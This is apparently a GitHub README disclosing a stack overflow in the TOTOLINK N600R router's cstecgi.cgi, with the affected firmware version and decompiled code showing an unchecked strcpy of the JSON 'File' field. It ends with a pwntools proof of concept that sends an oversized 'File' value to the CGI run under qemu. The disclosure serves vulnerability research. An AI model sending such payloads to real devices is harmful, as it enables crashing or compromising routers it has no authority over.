d1tto add n600r ... on Apr 15 History

..

img	8 months ago
readme.md	8 months ago

readme.md

Overview

- The device's official website: http://www.totolink.cn/home/menu/newstpl.html?menu_newstpl=products&id=2
- Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36

Affected version

V4.3.0cu.7647_B20210106

Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi` `FUN_0041309c` (at address 0x041309c) gets the JSON parameter `File`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```
Decompile: FUN_0041309c -  (cstecgi_not_test.cgi)
13    void *__ptr;
14    char acStack409936 [204800];
15    undefined auStack205136 [204800];
16    char acStack336 [256];
17    undefined4 local_50;
18    undefined4 local_4c;
19    undefined4 local_48;
20    undefined4 local_44;
21    undefined4 local_40;
22    undefined4 local_3c;
23    undefined4 local_38;
24    undefined4 local_34;
25    undefined local_30;
26
27    memset(acStack409936,0,0x32000);
28    memset(auStack205136,0,0x32000);
29    memset(acStack336,0,0x100);
30    uVar1 = cJSON_CreateObject();
31    pcVar2 = (char *)websGetVar(param_1,"Action","");
32    uVar3 = cJSON_GetObjectItem(param_1,"data");
33    iVar4 = strcmp(pcVar2,"GetCustomModule");
34    if (iVar4 == 0) {
35      pcVar2 = (char *)websGetVar(uVar3,"FileMd5","");
36      __haystack = (char *)websGetVar(uVar3,"FileUrl","");
37      __src = (char *)websGetVar(uVar3,"File","");
38      strcpy(acStack409936,__src);
39      __size = base64_decode(acStack409936,auStack205136);
40      __s = fopen64("/tmp/custom_module","wb");
41      fwrite(auStack205136,__size,1,__s);
42      fclose(__s);
43      local_50 = 0;
44      local_4c = 0;
45      local_48 = 0;
46      local_44 = 0;
```

POC

```
from pwn import *
import json

data = {
    "topicurl": "setting/UploadCustomModule",
    "Action": "GetCustomModule",
    "data": {
        "File": "A"*(0x64000 + 0x400)
    }
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mips-static",
```

```
    "-g", "1234",
    "-L", "./lib",
    "-E", "LD_PRELOAD=./hook.so",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)

a.sendline(data.encode())

a.interactive()
```